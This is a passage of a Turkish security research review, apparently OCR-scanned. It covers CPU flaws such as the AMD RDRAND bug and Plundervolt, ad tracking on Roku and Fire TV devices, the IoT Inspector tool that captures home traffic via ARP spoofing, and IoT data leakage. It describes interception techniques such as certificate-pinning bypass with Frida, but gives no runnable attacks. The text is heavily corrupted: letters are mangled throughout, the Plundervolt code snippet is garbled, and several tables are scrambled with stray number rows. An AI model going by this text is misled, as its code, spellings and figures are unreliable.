muhtemel olmadigi bildirildi. Apple ve Amazon’un kay-
naklari bdyle bir saldirinin tespitinin yapilmis olmasinin
bile sans eseri oldugunu ifade etti. Bu saldirinin ug nokta
bir saldiri oldugu ve kolay kolay teknolojik bir ¢éziim ge-
tirilemeyecegi belirtildit'e.
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11. ISLEMCILERDEKI DONANIM HATALARI
VE YENi ZAFIYETLER

Gecen sene Spectre ve Meltdown ile glindeme gelen is-
lemci seviyesindeki zafiyetler genislemeye devam ediyor.
Bircok glivenlik arastirmacisinin degistiriimesi ¢cok gl
islemci mimarilerine odaklanmasi sonucu yeni zafiyetler
bulunuyor. islemci Ureticileri bir yandan donanimsal ola-
rak zafiyetleri kapatmaya calisirken bir yandan da isletim
sistemi gelistiricileriyle ortak calisarak yazihm ¢ézimleri
Uretmeye ve yama cikartmaya ¢alisiyorlar. Bu konuda ne
kadar basarill olduklarn soru igaretleri barindirmiyor de-
gil, zira Spectre ve Meltdown sonrasinda Foreshadow,
Fallout ve Zombieload gibi yeni islemci agiklarn bulun-
maya devam etti. Son glnlerde ise yine ayni arastirmaci-
lar tarafindan Zombiload’un yeni bir versiyonunun tespit
edildigi duyuruldu. Ustelik bu, zafiyetlerin giderildigi id-
dia edilen ve TSX komut setlerini kullanan iglemciler ve
isletim sistemleri lizerinde de caligiyor.

Yukaridaki zafiyetlere benzemeyen diger bir konu ise
AMD 3000 serisi islemcilerin donanimsal rasgele sayi
Ureteclerinin ironik bir sekilde hep ayni ¢iktiyi Gretmesiy-
le ilgili. Konu Linux isletim sistemlerinin boot esnasinda
kitlenmesine, cesitli uygulamalarin ¢cékmesine ve tirll
glvenlik problemlerine yol agmasina ragmen AMD tara-
findan halen resmi bir agiklama getirilmis ve konu hak-
kinda bir zafiyet atamasi yapilmis degil.

= mp/rdrand-test

- bug
h means it has the AMD bug.

Sekil 83: AMD 3000 serisi islemcilerde RDRAND rasgele sayi ¢ik-
tilar.

ilgili zafiyetin RDRAND komut setiyle alakalr. ilgili komut
seti cekirdek seviyesinde rasgele sayi servisi yapiyor.
Ancak nedeni henliz tam anlamiyla bilinmeyen bir hata-
dan dolayi bazen rasgele say! istendiginde 16’lik deger-
de “Oxffffffff” degerini déniiyor (Sekil 83). Ustelik rasgele
sayI Uretecinin kendi icinde sUrekli testler yapip kot ka-
liteli ciktilar Urettiginde disan servis vermeyi durdurmasi
lazimken, islemcinin verdigi ¢ciktida sorun olmadigini be-
lirten bit degerini strekli isaretledigi de gorultyort'.

Peki, bu tur bir rasgele sayi Ureteci hatasinin tehlikele-
ri neler? Isletim sistemlerinde hatalarin istismar edilip
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kod calistirimasina kargi bir énlem olarak sunulan ASLR
(Address Space Layout Randomization) uygulamasi,
adindan da anlagilacagi Uizere, tahmin edilemez rasgele
veriye ihtiya¢ duyar. Bu yapinin bozulmasi ASLR aktifken
istismar edilemeyecek bazi zafiyetlerin istismar edilebil-
mesine yol acabilir. Konunun kriptografik acidan tehlikeli
yansimalar da var. Rasgele sayi Uretecleri kriptografik
olarak gu¢lu anahtarlarin Uretilmesinde kullaniliyor. $ekil
83’deki ekran goriintistinde oldugu gibi, strekli “-1” de-
geri veren bir sifreleme anahtar kullandiginizi diistiniin.
Ya da simetrik sifreleme algoritmalarinda tek kullanimhk
olmasi gereken “IV, nonce” gibi deg@erlerin hep ayni sa-
yiya denk geldigini. Umariz AMD konuyla ilgili en kisa
zamanda kapsamli bir glvenlik bilteni yayinlayacaktir.

Yine farkl bir islemci zafiyeti de “Plundervolt” adi ile ya-
yinlandi®. Bu zafiyet dnceki metotlardan farkll olarak
islemcinin voltaj degerleri Gzerinde oynama yapilarak
islemci Uzerindeki hesaplarin bitinliginin bozulmasiy-
la gergeklesiyor. Intel SGX (Software Guard Extensions)
uzantilan aktiflendiginde islemci, hassas kriptografik is-
lemleri korumali bir sekilde gerceklestiriyor. Yani bilgisa-
yarda “root, admin, system” gibi yetkilere sahip olsaniz
bile bu islemleri géremiyor ve miidahale edemiyorsunuz.

CVE-2019-11157 etiketine sahip zafiyette, arastirmaci-
larin ¢ikis noktasi asagidaki minik kod parcaciginin ¢ik-
tis gbzlenerek elde edilmis (Sekil 84). Bu kod pargacigi
basit bir carpma islemi gergeklestirip sonucu “var” de-
gerine esitliyor. Bu durumda déngu icinde siirekli ayni
var degeri hesaplanacagindan doéngliden cikmanin
mUmkin olmamasi gerekir. Ancak arastirmacilar islemci
voltaji Uizerinde degisiklik yaptiklarinda ve bir esik deger
gecildikten sonra bu fonksiyondan cikildigini gézlem-
lemisler. Bu durumda hesaplanan son degere baktikla-
rinda sonucun en anlaml baytinda bir hata olustugunu
gozlemlemisler. Bu ciktidan yola ¢ikarak simetrik anah-
tarh kriptografik sistemlerde diferansiyel hata analizi de-
nilen yontemle sifreleme anahtarina ulasmay basarmisg-
lar. SGX uzantilar aktif degilse endiselenecek bir durum
olmadigini da belirtelim.

Bu zafiyetler islemcilerin oldukg¢a eski mimarileri sebe-
biyle problem olmaya devam edecek gibi gbézikuyor.
Ayrica yamasi yapllan zafiyetler, hem performans sikin-
tisiyla déniyor hem de anakart ve igletim sistemi sevi-
yesinde glncelleme gerektirdiginden bazi Ureticilerin
yamalari ¢ok ge¢ yayinlaniyor ya da hi¢ yayinlanmiyor.

0x1122334455667788;
dbeef * multiplier;
while (var == Uxdeadbeet * multiplier)
ar = (Oxdeadbeef;
ar *= multiplier
ar "= Oxdeadbeef * multiplier

Sekil 84: VVoltaj degisimi ve ¢carpma islemine etkisi'.
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12. HARICI AKILLI TV CIHAZLARI VE KiSISEL
MAHREMIYET

Harici akilli TV cihazlan ne izledigimizi izliyor mu?
“Watching You Watch: The tracking ecosystem of Over-
the-Top TV Streaming Devices” adli makalede arastir-
macilar bu soruya cevap aramiglar™. Akilll TV cihazla-
rn ozellikle eski nesil TV’leri internete baglayip glncel
uygulamalari izlemek icin son derece popiiler. Oyle ki
ABD’deki kullanicilarin ylzde 65,3’Uniln internete bagh
bir TV cihazi var'". Geleneksel kablo TV platformlar kisa
vadede internetten yayin yapan platformlara tasinacaga
benziyor.

Princeton Universitesinin yayinladi§i makalede, arastir-
macilar Sekil 85’de goérilen kurulum ile akilli TV cihaz-
larinin Urettigi ag trafigini incelemisler. 2000 farkh kana-
lin incelenmesi sonucu, kigiye ait WiFi MAC adresinden
SSID degerine, cihaz seri numarasindan izlenen yayinin
adina kadar bir kisim verinin reklam platformlarina gén-
derildigini tespit edebilmisler. Arastirmada kullanilan ci-
hazlar Roku TV ve Amazon Fire TV cihazlari. Roku TV ci-
hazi 6zellesmis bir isletim sistemine sahip. Tim kanallar
elektronik imzal ve sifreli olarak cihaza geliyor ve Roku
TV’nin harici agiimasi mimkin degil. Amazon Fire TV ise
Android tabanli bir cihaz. Kanallar APK formatinda kuru-
labiliyor. Geligtiriciler ise “Android Debug Bridge (adb)”
araciyla cihaza erigebiliyor. Cihazlarin kumanda API’leri
aclk olarak yayinlaniyor ve masausti cihazda yazilan bir
crawler ile kontrol ediliyor. Temel olarak yazilan crawler,
asagidaki adimlarla galisiyor.

Crawler kanal listesinden bir kanall seger.

Araylzden kanali oynatabilecek tim kumanda tusu
kombinasyonlarini dener.

Kanali actigini teyit ettikten sonra tim ag trafigi
kaydedilir.

Ag ve uygulama seviyesinde trafik ¢ozUullir ve
incelenir.

ikinci siradaki zorluk, yazilan crawler’in otomatik bir se-
kilde kanall oynatmaya baslamasiyla ilgili. Arastirmacilar
rasgele sectikleri 100 kanal igin kanali oynatacak ku-
manda kombinasyonlarini gikarmiglar. Ornegin, énce
kumandada asagi butonu ve daha sonra OK butonuna
basilmasi gibi. Her kanalda bu kombinasyon farkli oldu-
gundan olasi tim kombinasyonlar kaydedilmis ve craw-
ler en muhtemel kombinasyondan (Asagi, OK, OK) bas-
layarak deniyor. Kanalda video oynatmayi basardigini
ise monitdérden saglanan ses gikigiyla anliyor (Sekil 85).
Ses cikigi surekli kaydediliyor ve son bes saniye icinde
bir esik deger gecilirse bunun gecerli bir video oldugunu
anliyor.

Doérdinci siradaki en blylk zorluk ise sifreli trafigin
¢6zllmesiyle alakall. Roku cihazlari disaridan sertifika
yuklemeye izin vermezken, Amazon Fire TV izin veriyor.
Ancak arastirmacilar Roku cihazlarda bile bazi kanallarin
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Sekil 85: Arastirma igin yapilan kurulumt®.

sertifika dogrulamasi yapmadigini ve araya girilebildigi-
ni gérmugler. Amazon cihazlarda ise kendi sertifikalari-
ni cihaza yukleyerek ¢odu kanali ¢bzmeyi basarmiglar.
Sertifikayl kanala gdmen (certificate pinning) bazi uygu-
lamalarda ise Frida isimli araci kullanilarak sertifika kont-
roliini bypass etmeyi basarmislar.

Tablo 7°’de yayinlar sirasinda reklam amagcl baglanilan
alan adlari yer aliyor. Roku Uzerindeki 1000 kanaldan
975’i Google’in sahip oldugu doubleclick.net adresine
veri génderiyor. Amazon tarafinda ise 1000 kanalin 687’
Amazon’un reklam servisi olan amazon-adsystem.com
adresine veri yolluyor. Dikkat ¢ekici olan ise Google ve
Amazon’un video analitik ve reklam servislerinden bas-
ka bir G¢lUncl taraf olan Facebook’un Amazon ciha-
z1 Uzerindeki 1000 kanaldan 196’sindan dogrudan veri
toplamasi.

Alan Adi e Alan Adi o
doubleclick.net 975 amazon-adsystem.com 687
google-analytics.com 360 crashlytics.com 346
scorecardresearch.com 212 doubleclick.net 307
spotxchange.com 212 google-analytics.com 277
googlesyndication.com 178 facebook.com 196
imrworldwide.com 113 d3a510xmpll706.cloudfront. 180

net

tremorhub.com 109 app-measurement.com 179
innovid.com 102 googlesyndication.com 145
2mdn.net 88 imasdk.googleapis.com 129
vimeo.com 86 gstatic.com 127

Tablo 7: Yayin sirasinda ulagilan alan adlar (Sol Roku,
Sag Amazon!'9).

Peki, bu servislere hangi tir veriler gidiyor?
Arastirmacilarin sonucglarina gére baglandiginiz WiFi
SSID adindan Bluetooth MAC adresine kadar 15 ayn
tirde veri bu paketlerde gézukuyor.
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3. Taraflara Yollanan

Veri Tiirii Degisim sikhgi Kaynak
Seri No Cihaz Omrii Boyunca | Roku, Amazon
AD ID Kullanici Sifirlayana Roku, Amazon
Kadar
MAC Adresi Cihaz Omrii Boyunca Roku, Amazon
Cihaz ismi Kullanici Resetleyene Roku, Amazon
Kadar
Yaziim Strimu Yazihm Guncellenene Amazon
Kadar
FireTV Versiyonu Yazilim Giincellenene Amazon
Kadar
Android ID Cihaz Omrii Boyunca Amazon
Bluetooth MAC Adresi | Cihaz Omrii Boyunca Amazon
Cihaz ID Cihaz Omrii Boyunca Roku
Cihaz hesabi e-posta Kullanici Sifirlayana Kullanici
Kadar
Cihaz hesabi parola Kullanici Sifirlayana Kullanici
Kadar
Posta Kodu - -
Sehir = —
Eyalet — —
WiFi SSID Kullanici Sifirlayana Kullanici ag

Kadar

Tablo 8: Tracker adreslerine génderilen veri tirleril™.

Sekil 86’da o6rnek bir ag trafigi icerigi gosteriliyor.
Gonderilen veride izlenen yayinin o andaki isminin, ci-
haz numarasiyla eslestirilip acik bir sekilde génderildigi
g6riltyor.

Sekil 86: Ornek bir ag trafigi'?.

Kanallarin izlenme siklidi, Kisi, cinsiyet, yas ve Ulkeye
gbre program tercihleri gibi bilgilerin reklam verenler ta-
rafindan talep edilmesi ¢ok sasirtici degil. Ancak ne olur-
sa olsun bu tir bilgilerin Gg¢lncu taraflarla paylasilirken
kullanicidan izin alinmasi ve mutlaka anonimlegtiriimesi
gerekir. Ancak arastirmacilarin ortaya cikardigi sekilde,
kullanici izin vermese de halen bu tUr veriler gidebiliyor.
Ustelik anonimlestirmeyi bir yana birakin tiglincii taraflar
hangi cihazdan hangi yayinin izlendigini, bu cihazin bagl
oldugu WiFi SSID adini, konum bilgisini, cihaz e-posta
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adresini, hatta Bluetooth MAC adresini bile alabiliyor.
Baz verilerin cihaz dmrl boyunca degismesi ve kullani-
clya ait olmasindan dolayi, tim kullanici aliskanliklari ra-
hatca takip edilebilir durumda oldugu gériltyor. Umariz
Ureticiler kisisel verilerle ilgili hemen hemen tim Ulkeler-
de yayinlanmis kanunlara gére gerekli diizenlemeleri en
kisa zamanda yaparlar.

13. loT INSPECTOR: AKILLI EV o
CIHAZLARININ ETIKETLENMIS AG TRAFIGI

Akilll ev cihazlannin yayginlasmasi, guvenlikten kisisel
saglik bilgilerinin mahremiyetine kadar c¢esitli konularda
deneysel calismalar yapilmasinin éntnd acgtl. Ancak bu
cihazlardan veri edinme slreci oldukga zorlu ve bu se-
beple yapilan ¢calismalar genellikle yalnizca laboratuvar
ortamindaki cihazlari kapsiyor. Arastirmacilar, veri odakli
calismalarin yapilabilmesi icin bilinen en blylk etiketli
veriyi olusturmak adina gergek hayattaki ev aglarindan
kitle kaynakli verileri bir araya getirmisler?. Bunu ya-
pabilmek igin IoT Inspector adinda, kullanicilarin kendi
aglarindaki akilli ev cihazlarnin trafigini gézlemleyebile-
cekleri agik kaynak kodlu bir arag geligtirmigler?'. Nisan
2019’dan Ekim 2019’a kadar 4322 kullanici bu uygula-
may! kullanmis. Uygulama bu sayede 13 farkli kategori,
53 Uretici ve 44.956 akilli ev cihazini kapsayan, kullanici-
larin etiketledigi veriyi toplamayi basarmis.

ilk olarak gogu dreticinin TLS protokoliiniin eski versi-
yonunu ve sifrelemede de zayif algoritmalar kullandigini
tespit etmigler. Ardindan akilli televizyonlarin 350’ye ya-
kin birbirinden farkll G¢lncl taraf uygulamalarla haber-
lestigini belirtiyorlar. Ayrica ag yénetimi saglhk hizmetleri
gibi alanlarda bu verilerle yapilabilecek calismalara i1sik
tutuyorlar.

Akilll ev cihazlarinin yayginlagsmasi giivenlik (botnetler
kullanilarak yapilan dagitik devre disi birakma saldirisi),
mahremiyet (oyuncaklarin ¢cocuklarin hassas bilgilerini
Uclincl taraf uygulamalarla paylasmasi), cihaz envan-
teri ve yonetimi (aga bagh cihazlarin tespiti) gibi konu-
larda yeni arastirma alanlari ortaya c¢ikariyor. Bu konular
icin buyuk miktarda etiketlenmig veriye ihtiya¢ oluyor.
Ancak bu veriyi elde etmek su iki sebepten oldukga zor:

Olcekleme Problemi: Yapilan tahminlere gére diin-
ya Uzerinde 8 milyari agkin loT cihaz bulunuyor. Bu
cihazlarin cogu 6zel ev aglarina bagh durumda. Bu
cihazlarin analizi ya cihazlara ya da ev agina bagli
olmayi gerektiriyor. Bazi ¢alismalarda arastirmacilar,
cihazlar hakkinda bilgi alabilmek icin kullanicilarin ev-
lerine bir donanim yerlegtiriyorlar. Ancak bu ¢6zim,
kullanicilarin fiziksel bir cihazi evlerine kurmasini ge-
rektirdiginden 6zel ¢caba gerektiriyor. Bir bagka yon-
tem olarak ise arastirmacilar Internet Uzerindeki ko-
runmasiz loT cihazlar tariyorlar. Ancak bu yéntem de
¢ok basaril degil ¢inkt cihazlarin blyik bir kismi ev
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aglarinda NAT arkasinda bulundugu i¢in kendilerine
dair bilgi edinmek mimkin olmuyor.

Etiketleme Problemi: Blyik miktarda veri bulunma-
didi icin ¢cok az sayida cihazin 6zellikleri ¢ikarilabiliyor.
Kullanilan veri de genellikle acik olarak yayinlanmiyor
ve cihazlara 6zel ve guvenilir etiket bilgileri icermiyor.

Yukaridaki problemlerden dolayl az sayida akilli ev ci-
hazinin verileriyle makine 6grenmesi algoritmalarini
egitmek, cihazlarin tespitini ve davraniglarini anlamlan-
dirmak mimkin olmuyor. Bu calismada arastirmacilar
bilinen en blyuk etiketli akilli ev cihazlar veri kiimesi-
ni olusturmuslar. ImageNet’in bilgisayarll géri alaninda
oncd roll Ustlenmesi gibi, arastirmacilar topladiklar veri-
nin gelecekteki calismalara isik tutmasini istiyorlar. Hatta
yedi farkli arastirma grubu bu ¢alisma sonrasi agagidaki
arastirmalar adina bu veriyi kullanmiglar.

Cihaz tanimlama ve anomali tespiti icin makine 63-
renmesi modellerini egitme,

loT mesajlasma sistemlerinin guvenlik risklerinin
Olcilmesi,
Akilli ev sistemlerindeki G¢lincl taraf servislerin tespit
edilmesi,

Cihazlarin mahremiyet risklerinin tespiti i¢in insan fa-
aliyetlerinin anlamlandiriimasi,

Kisisel saglikla ilgili sorulara cevap olmasi adina, ev-
deki bireylerin davraniglarinin anlamlandiriimasi.

13.1. loT Inspector Yazilimi

Arastirmacilar macOS ve Linux tabanl bilgisayarlarda
calisabilecek, ayrica bir donanima ihtiyaci olmayan loT
Inspector adli bir yazilim gelistirdi. Bu yaziim; ¢alismasi
igin gerekli kitiphaneleri de igcinde barindiran, kurulumu
oldukca kolay, acik kaynak kodlu bir proje olarak ortaya
ciktl. Buna ek olarak kullanicilarin potansiyel givenlik ve
mahremiyet sorunlarini tespit edebilmek i¢in arastirma-
cilarin onlarin ag trafigini gercek zamanl analiz edebi-
lecegi bir kullanici araylzi var. Kullanicilarin da izniyle
bu veriler anonimlegtirilerek aragtirmacilarin sunucusuna
gonderiliyor.

Show 50§ enrie Saareh

Manitored Davice Last Updated

o woms Switch 56 days g0
a B-Link Camera 55 davs oo

a Amcrest Camars 6 days sgo

Sekil 87: Kullanicilar bu ekranda hangi cihazlarin monitér edilece-
gini, 10T Inspector yazilminin hangi cihazlara ait ag trafigini alabi-
lecegini segebiliyor.
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Yazilim tabanl bu veri toplama sistemi énceki arastir-
malarda kullanilan donanim tabanli sistemlere gére ¢cok
daha kolay ve ucuz olarak karsimiza cikiyor. Web sayfa-
sindan bu uygulamayi indiren kullanicilari ilk galistirmada
bir agik rnza metni karsiliyor. Bu metinde loT Inspector
yaziiminin kullanici agindan hangi verileri topladigina
dair bilgilendirme yer aliyor. Bu onaydan sonra yazilm
asagida bahsedilen yontemle otomatik olarak agdaki
cihazlan tespit etmeye ve bu cihazlara dair trafigi topla-
maya baglyor.

ARP taramasiyla cihaz tespiti: Yerel agdaki bitin
IP adreslerine ARP paketi yollaniyor. Bu esnada web
arayiiziinde IP-MAC adresleri eslesmelerine dair bir
tablo olusturuluyor. Kullanici bu tabloyu kullanarak
hangi cihazlarin izlenecegini segebiliyor. Ayrica OUI
(Organizationally Unique Identifier, 24 bitlik cihaz Ure-
ticisi belirteci) gibi bazi veri kaynaklari kullanilarak ci-
hazlarin tahmini kimlikleri de ortaya cikariliyor?2.

ARP Spoofing (ARP Zehirlenmesi) ile trafigi yaka-
lama: Varsayilan olarak loT Inspector sadece ARP
taramasiyla cihaz tespiti yapiyor. Cihaz trafiginin
elde edilmesi icin ise kullanicilar cihaz listesinden ta-
kip edilecek olanlar secebiliyor. Her cihaz igin, loT
Inspector Debian’daki arpspoof aracinda oldugu gibi,
her iki saniyede iki adet ARP zehirleme paketi gén-
deriliyor. Bir paket yonlendiricinin IP adresi kaynak
adresmis gibi gdsterilerek cihaza, digeri ise cihazin
IP adresi kaynak adresmis gibi gosterilerek ydnlen-
diriciye génderiliyor. Bu sayede cihaz ve yénlendirici
arasindaki trafik dinlenebiliyor.

loT Inspector, ARP taramasi ve zehirlenmesiyle cihaz
tanima ve trafik edinme islemlerini bir donanima ihtiyac
duymadan gerceklestirebiliyor. Scapy Python kitipha-
nelerini kullanip hassas bilgileri yok ettikten sonra kalan
verileri her bes saniyede bir veritabani sunucusuna akta-
riyor. Arastirmacilar l1oT Inspector ile su verilerin toplan-
digini belirtiyorlar:

Cihazlarin MAC adreslerinin, ara¢ sisteme kurulduk-
tan sonra rasgele olusturulmus salt degeri ile hesap-
lanan SHA-256 hash degerleri,

Cihazlarin MAC adreslerinin ilk tg¢ oktetine bakilarak
tespit edilen, ag yonga setlerinin Ureticileri,

DNS istek ve cevaplari,
Uzak IP adres ve portlari,

Agdaki gelen/giden paketlerin byte cinsinden akis
istatistikleri,

Cihazlarin 6zelliklerini belirlemeye yarayan veriler,
SSDP/mDNS/UPNnP mesajlari, HTTP User-Agent bil-
gisi ve DHCP istek paketlerindeki hostname bilgileri,

TLS Client Hello mesajlari,
Aracin kurulu oldugu bilgisayarin saat dilimi bilgisi.
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Ag trafigi arastirma agisindan tek basina ¢ok bir anlam
ifade etmedigi icin, ara¢ kullanicilara génalli olarak ci-
hazlarin ismini, kategorisini ve Ureticisini girip cihazlari
etiketleyebilecegi bir web araylizii sunuyor. Bunu yapar-
ken kullanici dropdown mentiden bilinen etiketler arasin-
dan secebilecegi gibi, aradigi etiketi bulamadigi durum-
da metin olarak kendi istedigi seyi yazabilecegi bir alan
da bulunuyor. Bu bilgiler HTTPS kullanilarak tamamen
glncel bir sunucuya gdnderiliyor. Bazi cihazlarin verisi
kazara sisteme gdnderilmis olabiliyor. Bu durumda kul-
lanicilar ge¢cmise yonelik verileri sunucudan dogrudan
silebiliyor.

loT Inspector ARP zehirlemesi yapip agdaki diger kul-
lanicilarin trafiklerini de Gzerinden gecirdigi icin akilll ev
cihazlan digindaki cihazlar icin potansiyel bir glvenlik
riski olusturuyor. Bu sebeple arastirmacilar bilgisayar,
tablet, telefon gibi genel amagl cihazlarin trafigini sunu-
cuya goéndermiyor. Bunu yaparken cihazlarin MAC ad-
reslerinin ilk U¢ oktetini girdi olarak alip cihazin tahmini
kimligini ortaya ¢ikaran FingerBank API’sini kullaniyorlar.
Ciktidaki “phone”, “macOS”, “Android”, “Windows” gibi
kelimeleri arayarak, bu listeye dahil olan cihazlarin trafi-
gini sunucuya géndermiyorlar.

Arastirmacilar elde ettikleri verilerle c¢esitli ¢ikanmlar
gelistirmeyi basarmiglar.  Cihazlarin iletisim kurdugu
tracker (iz surlicl)) adresleri siralamis ve analiz etmisler.
Haberlesme esnasinda TLS kullanmayan cihazlar or-
taya cikariimis. TLS olan cihazlarin kullandig sifreleme
algoritmalarini kiyaslamiglar ve gtivensiz olanlar tespit
etmigler. Cihazlarin turleri ve en sik tercih edilen markalar
tespit edilmis.

Domain Adresleri TVlerde Bilgisayarda Swralama
doubleclick.net 47.1% 49.1% HENEEEEEER
googlesyndication.com  22.6% 247% SNEEEEEEER
crashlytics.com 18.0% 483% HEEEEEEEER
scorecardresearch.com 14.9% 245% HEANEENEEERR
sentry-cdn.com 10.9% 1.2% SHEEEEEEN
samsungads.com 10.9% 0.0% W
samsungacr.com 10.6% 00% =

google— 10.6% 37.1% nAAEEEEEER
ana |}-’t ics.com

omtrde.net 7.1% 144% SEEEEEEEENR
demdex.net 7.1% 18.1% HENEENEEEEE
duapps.com 6.9% 26% HEANEEEEEN
imrworldwide.com 6.3% 97% HEANNEEEEEN
innovid.com 5.1% 34% mEEEEEEEN
samsungrm.net 4.3% 00% =

fwmrm.net 4.3% 28% nAEEEEEER

Sekil 88: Cihazlarin en ¢ok konustugu 15 iz suriict adres ve bu
adreslerin cihazlarda gorilme yuzdeleri. Domainlerin siralamasi si-
yah kutucuklarla gésteriliyor. Ornegin 10 kutucuk, siralamanin en
yiksek ylzde 10’luk dilimde oldugunu belirtiyor.
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Arastirmacilar, kullanicilarin yaklasik 35 dakika boyunca
uygulamay kullanip veri aktardigini gérmusler. Gelecek
calismalarda bu slrenin artabilecegini séylUyorlar. Ayrica
veri ihlali yapmadan daha c¢ok veri nasil toplanir soru-
sunun cevabinin aranabilecegini belirtiyorlar. Artan veri
miktar da kullanilarak ileride cihaz tanimlama iglemleri
ve anomali tespiti i¢cin de aragtirmalar yapilacagini gér-
mek mUmkini2° 211,

14. 1oT CIHAZLARINDAN BILGi SIZMASI

loT cihazlan; TV, ev glvenligi, dijital asistan, ev ici hava
durumu kontroll, akilli hoparlérler gibi cihazlarda sagla-
digi kullanigh 6zellikler sayesinde ev sistemlerinde giin-
den gine poplilerlik kazanmaktadir. 2020 yilinda dinya
Uzerinde 20 milyar loT cihazi olaca@i tahmin edilmektedir.
Kullanicilar ve diger cihazlarla internet (izerinden haberle-
sebilen ve Uzerlerinde birgok sensér (kamera, mikrofon,
hareket sensorleri vb.) gdmdll olan bu cihazlar cevreleri
hakkinda genis ve sizdirilabilir bir bilgi kiimesine sahip-
tir. Bu nedenle cihazlarin faydalarinin yani sira bir takim
potansiyel gizlilik politikasi ihlalleri de sézkonusudur. Bu
calismada; kamera, akilll hub, akilli hareket sensoérleri ile
ampul ve prizler, televizyon, ses cihazi, buzdolabi, cama-
sir makinasi gibi akilli aletler incelenecek ve deney orta-
mina sokulan bu tir 81 cihaz Uzerinde yapilan veri ihlali
analizi aktarilacaktir. Deney ortami olarak ingiltere’de ve
ABD’de iki ayri laboratuvar kullaniimigtir??,

Calismada, veri sizmasini karakterize etmek icin farkli
parametreler kullanilmistir. internet trafiginin vars ad-
resi, haberlesme iceriginin sifrelemeyle korunup korun-
madigi, bu icerikleri kullanarak IoT cihazlar arasindaki
etkilesim yéntemleri, hassas ve/veya kigiye 6zel verilerin
beklenmedik bir sekilde sizip sizmadidi (bir kayit cihazi-
nin gizlice video gondermesi) gibi testler yapilmigtir?3,

14.1. Hedef Adres Analizi:

Bu boélimde, cihazlarin etkilesim kurdugu Gglnci par-
ti cihazlar ve dogrudan destekledigi cihazlarin kullanici
bilgilerine erisim saglamasindan c¢ikilarak ag trafigi ince-
lenecek, hedef adres tespit edilip loT cihazlarinin olustu-
rabilecegi gizlilik ihlali sorunlan belirlenecektir. Hedef IP
adresi tespit edilirken kullanilan yaklagimlarin sonucun-
da cihazlarin hedef adreslerinin tGglnclU parti bir cihaz
mi yoksa dogrudan desteklenen bir cihaz mi oldugu ve
yine hedef adreslerin cografi konumu (kullanildigi boélge)
belirlenmeye caligilacaktir?d,

ikinci Seviye Alan Adi (SLD): Cihazin génderdigi her
paket icin, dnce hedef IP adresinin cihaz tarafindan
verilen bir istek icin bir DNS yanitina karsilik gelip
gelmedigi saptanarak ikinci seviye alan adi belirle-
nir. Oyleyse, Kkarsilik gelen DNS aramasi igin SLD'yi
kullaninz.
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Kategori Taraf ABD
Destekleyici 3
Avgrtiar Ucgiincii 1
Ses Cihazlarn Dg.st?klewu 8
Uglinci 0
Destekleyici 9
Akilli Goklayicilar (hub) Ugtnci 0
Ev Otomasyon Cihazlari De__stg.kleylm 10
Uctincu
Kameralar De__stg.kle}{lm 49
Uglincu 1
Televizyonlar De_.stg.kle}{lm 18
Uglinci
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Tablo 9: Desteklenen ve tiglinci parti olarak kullanilan cihaz sayilari®3.

Kurum adini belirleme: SLD bulunduktan sonra
hedef adresteki cihazin kullandigi IP adresine karsi-
ik gelen organizasyon adi WHOIS ya da eslestirme
mantigiyla bulunur (6rnegin Google google.com alan
adini kullanir).

Hedef adresteki cihazin tiriinit belirleme: Hedef
adreste bulunan cihazin kurum adi (Ureticisi) belirlen-
dikten sonra, paketi yollayan cihazla dogrudan iligkili
bir kurumsa karsidaki cihaz icin birinci parti etiketi
basilir. Eger hedef adresteki cihazin Ureticisi sorgu
atan cihaza erisilebilirlik ya da bulut hizmeti saglyor-
sa destekleyici parti etiketi basilir. Eger hicbirini sag-
lamiyorsa t¢Uncl parti denir.

Yukaridaki grafikte deneyde kullanilan cihazlarin bi-
rinci parti olarak etkilesim kurmadigi (desteklenen ve
Uclnci parti olarak kullanilan) cihaz sayilar verilmis-
tir. En soldaki sltun kategorilere gére siniflandirilan
deneydeki cihaz listesini, ikinci stitunda baglanilan ci-
hazin tipini (desteklenen taraf mi lglnclU parti mi ol-
dugu), tclncl sttunda baglanti kurulan tipin labora-
tuvara goére siniflandiriimasi, dérdinci situnda VPN
link araciligiyla internete bagli olan cihaz sayilarini yani
cihazlarin ag erisilebilirligini géstermektedir. Dérdiincl
sttun soldan saga cihazlarin etkilesim yéni su sekil-
dedir: ABD-ingiltere, ingiltere>ABD, ABD-ABD,
ingiltere~>ingiltere. Bu tablodan gériildigu lizere tele-
vizyonlar (Samsung TV, LG TV, Roku, Fire TV gibi) tim
cihaz kategorileri icinde Gc¢lncU parti cihazlarla en cok
etkilesim kuran cihaz tarleridir3,

Tablo 10’da iki farkl deney ortaminda kullanilan cihazla-
rin ¢alisirken erismeye calistigi web sitelerine ait organi-
zasyonlar siniflandinimaktadir. En fazla baglanti kurulan
10 organizasyon analiz edilmistir. Buna gdre, ABD’deki
deney ortaminda 31, ingiltere’de 24 cihaz, calisirken en
az bir Amazon sunucusuyla etkilesime gegmistir. Bunun
temel sebebi bircok cihazin hosting sunucusu olarak
AWS kullanmasidir. Sasirtici gbézlemlerden biri de deney
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ingiltere ABD n ingiltere n VPN
3 - - 5 - -
0 - - 1 0 - -
8 3 5 11 7 5 4
0 0 0 0 0 0 O
9 5 4 9 7 5 3
0 0 0 0 0 0 O
14 10 11 6 12 6 8
1 11 1 1
50 39 37 44 46 38 34
2 1 2 2 2 2 2
18 16 18 17 16 16 16
3 3 2 3 2
Alan Adi ABD ingiltere  ABD n ingiltere n
Amazon 31 24 16 17
Google 14 9 10 8
Akamai 10 6 6 5
Microsoft 6 4 1 1
Netflix 4 2 3 2
Kingsoft 3 3 1 1
21Vianet 3 3 1 1
Alibaba 3 4 2 2
Beijing Huaxiay 3 3 1 1
AT &T 2 0 1 1

Tablo 10: Coklu deney cihaziyla baglanti kuran organizasyonlar?®.,

ortaminda kullanilan higbir cihazda Netflix’e dair 6zel
bir konfiglrasyon ayari yapilmamis olmasina ragmen
hemen hemen tim TV cihazlannin Netflix etkilesiminde
bulunmus olmasidir. Bu cihazlar ayni zamanda AWS’i de
destekleyici taraf olarak kullanmaktadir (Netflix hosting
sunucusu olarak AWS’i kullanmaktadir)®3.

14.2. Sifreleme Analizi

Bu béliumde, loT cihazlarin sifreleme kullanimini test or-
taminda gdézlemleyerek guvenli bir sekilde gerceklestirip
gerceklestiremedigi incelenecektir. Kolayca belirlenebi-
len HTTP, HTTPS ve QUIC gibi protokoller kullanarak ha-
berlesen cihazlarin sifreleme analizlerini 8lgimlemek ko-
lay olsa da, bunlarin disinda protokoller kullanan cihazlar
icin Wireshark gibi standart protokol analiz araglarinda
trafigin yaklasik ylizde 46’lik kismi siniflandirilamamigtir.
